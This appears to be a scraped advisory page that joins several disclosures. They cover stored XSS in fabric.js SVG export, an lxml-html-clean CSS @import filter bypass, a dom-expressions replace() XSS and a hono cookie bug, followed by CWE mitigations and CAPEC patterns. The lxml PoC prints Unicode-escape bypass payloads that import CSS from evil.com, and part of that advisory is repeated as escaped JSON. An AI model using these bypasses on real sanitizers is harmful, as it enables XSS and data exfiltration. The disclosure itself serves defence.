Summary
Fabric.js Affected by Stored XSS via SVG Export
Details

fabric.js applies escapeXml() to text content during SVG export (src/shapes/Text/TextSVGExportMixin.ts:186) but fails to apply it to other user-controlled string values that are interpolated into SVG attribute markup. When attacker-controlled JSON is loaded via loadFromJSON() and later exported via toSVG(), the unescaped values break out of XML attributes and inject arbitrary SVG elements including event handlers.

Deserialization Path (no sanitization)

loadFromJSON() (src/canvas/StaticCanvas.ts:1229) calls enlivenObjects() which calls _fromObject() (src/shapes/Object/Object.ts:1902). _fromObject passes all deserialized properties to the shape constructor via new this(enlivedObjectOptions). The constructor ultimately calls _setOptions() (src/CommonMethods.ts:9) which iterates over every property and assigns it to the object via this.set(prop, options[prop]). There is no allowlist or sanitization - any property in the JSON, including id, is set verbatim on the fabric object.


Finding 1: XSS via id Property Injection

The id property from deserialized JSON is interpolated directly into SVG attribute strings without escaping.

Vulnerable code (src/shapes/Object/FabricObjectSVGExportMixin.ts, line 89, getSvgCommons()):

getSvgCommons(
  this: FabricObjectSVGExportMixin & FabricObject & { id?: string },
) {
  return [
    this.id ? `id="${this.id}" ` : '',  // <-- unescaped, user-controlled
    this.clipPath
      ? `clip-path="url(#${...})" `
      : '',
  ].join('');
}

This method is called in _createBaseSVGMarkup() (same file, line 178) which wraps every object's SVG output in a <g> element. Every fabric object type (Rect, Circle, Path, Text, Image, Group, etc.) inherits this mixin, so the id injection vector applies to all object types.

Contrast with text content, which IS escaped:

// src/shapes/Text/TextSVGExportMixin.ts:186
return `<tspan ...>${escapeXml(char)}</tspan>`;

The inconsistency shows that the intention was to prevent injection but was missed w attribute contexts.


Finding 2: XSS via Image src / xlink:href Injection

Image source URLs are interpolated raw into xlink:href in _toSVG().

Vulnerable code (src/shapes/Image.ts, line 404, _toSVG()):

imageMarkup.push(
  '\t<image ',
  'COMMON_PARTS',
  `xlink:href="${this.getSvgSrc(true)}" x="${x - this.cropX}" y="${
    y - this.cropY
  }" ...`  // <-- unescaped
);

getSvgSrc() returns the image src property which is set from JSON during deserialization. An attacker can inject a src value that breaks out of the xlink:href attribute.


Finding 3: XSS via Pattern sourceToString()

Vulnerable code (src/Pattern/Pattern.ts, line 181, toSVG()):

`<image x="0" y="0" ... xlink:href="${this.sourceToString()}"></image>`
// <-- unescaped, returns this.source.src for image sources

Additionally, Pattern's constructor (line 92–94) runs this.id = uid() before Object.assign(this, options), meaning a user-supplied id in the pattern JSON overwrites the auto-generated uid. The pattern id is then interpolated unescaped on line 180:

`<pattern id="SVGID_${id}" x="${patternOffsetX}" ...>`

Finding 4: Gradient id Partial Injection (lower Severity)

Vulnerable code (src/gradient/Gradient.ts, line 212, toSVG()):

`id="SVGID_${this.id}"`  // <-- unescaped

Gradient's constructor (line 125) computes id: id ?${id}_${uid()}: uid(). If a user-supplied id is present in the gradient JSON, it is prepended to the auto-generated uid. The user-controlled portion is interpolated unescaped into the SVG. This is exploitable but the payload is constrained by the _<uid> suffix appended after it.


Impact

Any application that: 1. Accepts user-supplied JSON (via loadFromJSON(), collaborative sharing, import features, CMS plugins), AND 2. Renders the toSVG() output in a browser context (SVG preview, export download rendered in-page, email template, embed)

...is vulnerable to stored XSS. An attacker can execute arbitrary JavaScript in the victim's browser session.

Real-world attack scenarios: - Collaborative design tools (Canva-like apps) where users share canvas state as JSON - CMS or e-commerce platforms with fabric.js-based editors that store/render designs - Any export-to-SVG workflow where the SVG is later displayed in a browser


Remediation

Update to fabric.js 7.2.0 or newer version.

Vulnerability from github – Published: 2026-03-02 19:19 – Updated: 2026-03-05 22:49
VLAI
Summary
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Details

Summary

The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.

Details

The root cause is located in clean.py (around line 594):

style = style.replace('\\', '')

This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.

Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).

PoC

from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>

If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.

Impact

External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().

However, all modern browsers\u0027 CSS parsers decode `\\69` as the character \u0027i\u0027 (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html(\u0027\u003cstyle\u003e@import url(\"http://evil.com/x.css\");\u003c/style\u003e\u0027)\n# Output: \u003cdiv\u003e\u003cstyle\u003e url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n\n# Unicode escape bypass:\nresult = clean_html(\u0027\u003cstyle\u003e@\\\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u0027)\nprint(result)\n# Output: \u003cdiv\u003e\u003cstyle\u003e@\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.",

Summary
DOM Expressions has a Cross-Site Scripting (XSS) vulnerability due to improper use of string.replace
Details

[!NOTE]
This advisory was originally emailed to community@solidjs.com by @nsysean.

To sum it up, the use of javascript's .replace() opens up to potential XSS vulnerabilities with the special replacement patterns beginning with $.

Particularly, when the attributes of Meta tag from solid-meta are user-defined, attackers can utilise the special replacement patterns, either $' or `$`` to achieve XSS.

The solid-meta package has this issue since it uses useAffect and context providers, which injects the used assets in the html header. "dom-expressions" uses .replace() to insert the assets, which is vulnerable to the special replacement patterns listed above.

This effectively means that if the attributes of an asset tag contained user-controlled data, it would be vulnerable to XSS. For instance, there might be meta tags for the open graph protocol in a user profile page, but if attackers set the user query to some payload abusing .replace(), then they could execute arbitrary javascript in the victim's web browser. Moreover, it could be stored and cause more problems.

Summary
hono: AWS Lambda adapter merges multiple `Set-Cookie` headers into one value, dropping cookies on ALB single-header and Lattice
Details

Summary

On AWS Lambda, the ALB single-header response and the VPC Lattice v2 response join multiple Set-Cookie headers into one comma-separated value. Because commas also appear inside cookie attributes (for example Expires dates), clients cannot split the value back into individual cookies and silently drop or misparse them.

Details

Per RFC 6265, each cookie must be its own Set-Cookie header line, and commas may appear inside attribute values. Joining cookies with ", " collides with those commas, producing a value that clients cannot reliably split. Only ALB single-header mode and VPC Lattice v2 are affected; API Gateway v1/v2 and ALB with multi-value headers enabled already use an array and are unaffected.

Impact

A client may receive only one of the cookies, a malformed cookie, or none. Session, CSRF, or preference cookies can silently fail to apply, breaking sessions or forcing re-authentication. This affects applications that set multiple cookies per response and run on AWS Lambda behind an ALB in single-header mode (the default) or VPC Lattice v2.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.
